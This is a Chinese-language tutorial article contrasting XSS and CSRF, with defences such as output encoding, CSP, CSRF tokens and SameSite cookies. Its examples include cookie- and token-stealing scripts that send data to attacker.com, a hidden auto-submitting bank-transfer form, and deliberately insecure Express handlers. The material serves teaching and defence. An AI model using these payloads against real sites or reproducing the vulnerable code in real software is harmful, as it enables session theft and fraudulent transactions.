乐闻世界logo
搜索文章和话题

XSS 和 CSRF 有什么区别?如何区分和防护这两种攻击?

2月21日 16:25

答案

XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种常见的 Web 安全漏洞,它们在攻击原理、攻击方式和防护策略上有本质区别。理解这两者的区别对于构建安全的 Web 应用至关重要。

XSS 和 CSRF 的核心区别

1. 攻击原理

XSS(跨站脚本攻击):

  • 攻击者将恶意脚本注入到受害者的浏览器中
  • 恶意脚本在受害者的浏览器上下文中执行
  • 攻击者可以访问受害者的 Cookie、LocalStorage、Session 等

CSRF(跨站请求伪造):

  • 攻击者诱骗受害者向目标网站发送请求
  • 请求在受害者的浏览器中自动发送,携带受害者的认证信息
  • 攻击者无法直接访问受害者的 Cookie 或 Session

2. 攻击目标

XSS:

  • 目标是受害者的浏览器
  • 利用的是浏览器对注入脚本的信任
  • 攻击者可以执行任意 JavaScript 代码

CSRF:

  • 目标是目标网站的 API 或表单
  • 利用的是网站对用户浏览器认证的信任
  • 攻击者只能发送特定的 HTTP 请求

3. 攻击方式

XSS 攻击示例:

javascript
// 攻击者在评论区注入恶意脚本 <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>

CSRF 攻击示例:

html
<!-- 攻击者构造恶意页面 --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

4. 攻击者能力

XSS:

  • 可以读取和修改 DOM
  • 可以访问 Cookie(非 HttpOnly)
  • 可以访问 LocalStorage 和 SessionStorage
  • 可以发送任意 AJAX 请求
  • 可以执行任意 JavaScript 代码

CSRF:

  • 只能发送 HTTP 请求
  • 无法读取响应内容
  • 无法访问 Cookie
  • 无法执行 JavaScript 代码
  • 受同源策略限制

详细对比表

特性XSSCSRF
全称Cross-Site ScriptingCross-Site Request Forgery
中文名称跨站脚本攻击跨站请求伪造
攻击原理注入恶意脚本到受害者浏览器诱骗受害者发送伪造请求
攻击目标受害者的浏览器目标网站的 API/表单
攻击者能力执行任意 JavaScript 代码只能发送 HTTP 请求
访问 Cookie可以访问非 HttpOnly Cookie自动携带所有 Cookie
读取响应可以读取响应内容无法读取响应内容
同源策略可以绕过同源策略受同源策略限制
防护重点输入验证、输出编码、CSPCSRF Token、SameSite Cookie
危害程度高(可以完全控制浏览器)中(只能发送特定请求)

XSS 攻击详解

攻击流程

  1. 攻击者发现 XSS 漏洞
  2. 攻击者构造恶意脚本
  3. 攻击者将恶意脚本注入到目标网站
  4. 受害者访问被注入的页面
  5. 恶意脚本在受害者浏览器中执行
  6. 攻击者窃取数据或执行恶意操作

攻击类型

  1. 存储型 XSS:恶意脚本存储在服务器数据库中
  2. 反射型 XSS:恶意脚本通过 URL 参数传递
  3. DOM 型 XSS:恶意脚本通过 DOM 操作执行

防护措施

  1. 输入验证:对所有用户输入进行严格验证
  2. 输出编码:对所有输出进行适当的编码
  3. Content Security Policy:限制资源来源
  4. HttpOnly Cookie:防止 JavaScript 访问 Cookie
  5. 使用安全的 DOM API:避免使用 innerHTML

CSRF 攻击详解

攻击流程

  1. 用户登录目标网站(如银行网站)
  2. 用户访问攻击者构造的恶意网站
  3. 恶意网站向目标网站发送请求
  4. 浏览器自动携带用户的认证信息
  5. 目标网站执行请求,认为这是用户的合法操作

攻击类型

  1. GET 请求 CSRF:通过 <img><script> 等标签发送 GET 请求
  2. POST 请求 CSRF:通过隐藏表单自动提交 POST 请求
  3. JSON CSRF:通过构造 JSON 格式的请求进行攻击

防护措施

  1. CSRF Token:在请求中添加随机 Token
  2. SameSite Cookie:限制 Cookie 的跨站发送
  3. 验证 Referer/Origin:检查请求来源
  4. 自定义 Header:添加自定义请求头
  5. 双重提交 Cookie:将 Token 同时放在 Cookie 和请求参数中

实际代码示例

XSS 攻击示例

存储型 XSS:

javascript
// 不安全的代码 app.post('/comment', (req, res) => { const comment = req.body.comment; db.save(comment); // 直接保存,未验证 }); app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(comments.join('')); // 直接输出,未编码 }); // 攻击者提交 POST /comment { "comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>" }

修复方法:

javascript
// 安全的代码 function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); } app.get('/comments', (req, res) => { const comments = db.getAll(); const encodedComments = comments.map(c => escapeHtml(c)).join(''); res.send(encodedComments); });

CSRF 攻击示例

不安全的代码:

javascript
// 转账接口,没有 CSRF 防护 app.post('/transfer', (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; // 从 Session 获取用户 ID // 执行转账 bank.transfer(userId, to, amount); res.json({ success: true }); }); // 攻击者构造的恶意页面 <html> <body> <form action="http://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script> document.forms[0].submit(); </script> </body> </html>

修复方法:

javascript
// 使用 CSRF Token 防护 const csrf = require('csurf'); const csrfProtection = csrf({ cookie: true }); app.get('/transfer', csrfProtection, (req, res) => { res.json({ csrfToken: req.csrfToken() }); }); app.post('/transfer', csrfProtection, (req, res) => { const { to, amount } = req.body; const userId = req.session.userId; bank.transfer(userId, to, amount); res.json({ success: true }); }); // 前端代码 fetch('/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ to, amount }) });

XSS 和 CSRF 的组合攻击

攻击者可能同时利用 XSS 和 CSRF 漏洞进行更复杂的攻击:

攻击场景:

  1. 攻击者通过 XSS 窃取 CSRF Token
  2. 使用窃取的 Token 发起 CSRF 攻击
  3. 绕过 CSRF 防护机制

示例:

javascript
// XSS 脚本窃取 CSRF Token const csrfToken = document.querySelector('meta[name="csrf-token"]').content; fetch('http://attacker.com/steal?token=' + csrfToken); // 攻击者使用窃取的 Token 发起 CSRF 攻击 fetch('http://bank.com/transfer', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': stolenToken }, body: JSON.stringify({ to: 'attacker', amount: 10000 }) });

防护策略对比

XSS 防护策略

  1. 输入验证

    • 白名单验证
    • 数据类型验证
    • 长度限制
  2. 输出编码

    • HTML 编码
    • JavaScript 编码
    • URL 编码
    • CSS 编码
  3. Content Security Policy

    • 限制脚本来源
    • 禁止内联脚本
    • 禁止 eval
  4. HttpOnly Cookie

    • 防止 JavaScript 访问 Cookie
  5. 安全的 DOM 操作

    • 使用 textContent 代替 innerHTML
    • 避免使用 document.write

CSRF 防护策略

  1. CSRF Token

    • 随机生成 Token
    • 验证 Token 有效性
    • Token 一次性使用
  2. SameSite Cookie

    • Strict:完全不发送跨站 Cookie
    • Lax:部分发送跨站 Cookie
    • None:允许发送跨站 Cookie(需要 Secure)
  3. 验证 Referer/Origin

    • 检查请求来源
    • 白名单验证
  4. 自定义 Header

    • 添加自定义请求头
    • 验证 Header 有效性
  5. 双重提交 Cookie

    • Token 同时在 Cookie 和请求参数中
    • 验证两者是否匹配

检测方法

XSS 检测

  1. 手动测试

    • 在输入框中注入 <script>alert(1)</script>
    • 检查是否执行
  2. 自动化扫描

    • OWASP ZAP
    • Burp Suite
    • XSStrike
  3. 代码审计

    • 检查所有用户输入点
    • 检查输出点是否编码

CSRF 检测

  1. 手动测试

    • 构造跨站请求
    • 检查是否执行
  2. 自动化扫描

    • CSRFTester
    • OWASP ZAP
  3. 代码审计

    • 检查是否有 CSRF Token
    • 检查 SameSite Cookie 设置

总结

XSS 和 CSRF 是两种不同但同样危险的 Web 安全漏洞:

XSS 的核心特点:

  • 攻击者可以执行任意 JavaScript 代码
  • 可以访问和修改浏览器中的数据
  • 危害程度更高,攻击者能力更强
  • 防护重点:输入验证、输出编码、CSP

CSRF 的核心特点:

  • 攻击者只能发送 HTTP 请求
  • 无法访问响应内容或浏览器数据
  • 危害程度中等,攻击者能力有限
  • 防护重点:CSRF Token、SameSite Cookie

最佳实践:

  1. 同时防护 XSS 和 CSRF
  2. 实施多层防御策略
  3. 定期进行安全审计和渗透测试
  4. 使用安全框架和库
  5. 加强开发人员安全意识

通过理解 XSS 和 CSRF 的区别,并采取相应的防护措施,可以有效地保护 Web 应用免受这些常见的安全威胁。

标签:XSS